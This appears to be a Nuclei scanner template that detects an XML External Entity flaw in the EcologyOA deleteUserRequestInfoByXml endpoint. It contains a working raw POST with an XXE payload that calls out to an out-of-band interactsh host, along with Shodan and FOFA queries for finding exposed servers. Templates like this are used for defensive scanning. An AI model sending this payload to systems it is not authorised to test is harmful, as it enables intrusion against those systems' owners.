ecology-oa-byxml-xxe: EcologyOA deleteUserRequestInfoByXml - XML External Entity Injection

id: ecology-oa-byxml-xxe

info:
  name: EcologyOA deleteUserRequestInfoByXml - XML External Entity Injection
  author: SleepingBag945
  severity: high
  description: |
    EcologyOA deleteUserRequestInfoByXml interface has XXE
  metadata:
    verified: true
    max-request: 1
    shodan-query: ecology_JSessionid
    fofa-query: app="泛微-协同办公OA"
  tags: ecology-oa,xxe,vuln

http:
  - raw:
      - |
        POST /rest/ofs/deleteUserRequestInfoByXml HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml
        Accept-Encoding: gzip

        <?xml version="1.0" encoding="utf-8"?>
        <!DOCTYPE syscode SYSTEM "http://{{interactsh-url}}">
        <M><syscode>&send;</syscode></M>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'WfData'

      - type: word
        part: header
        words:
          - 'application/xml'

      - type: word
        part: interactsh_protocol
        words:
          - "dns"
# digest: 4a0a0047304502202e4ffc7df84df0ab4904f5a35ebf3b61c001f633fbe95f0618fd36d4516fce1e022100b685d0e022ef28972d1dc92fccbab35911a0a25ae12e666f23b46a920d4c3aed:922c64590222798bb761d5b6d8e72950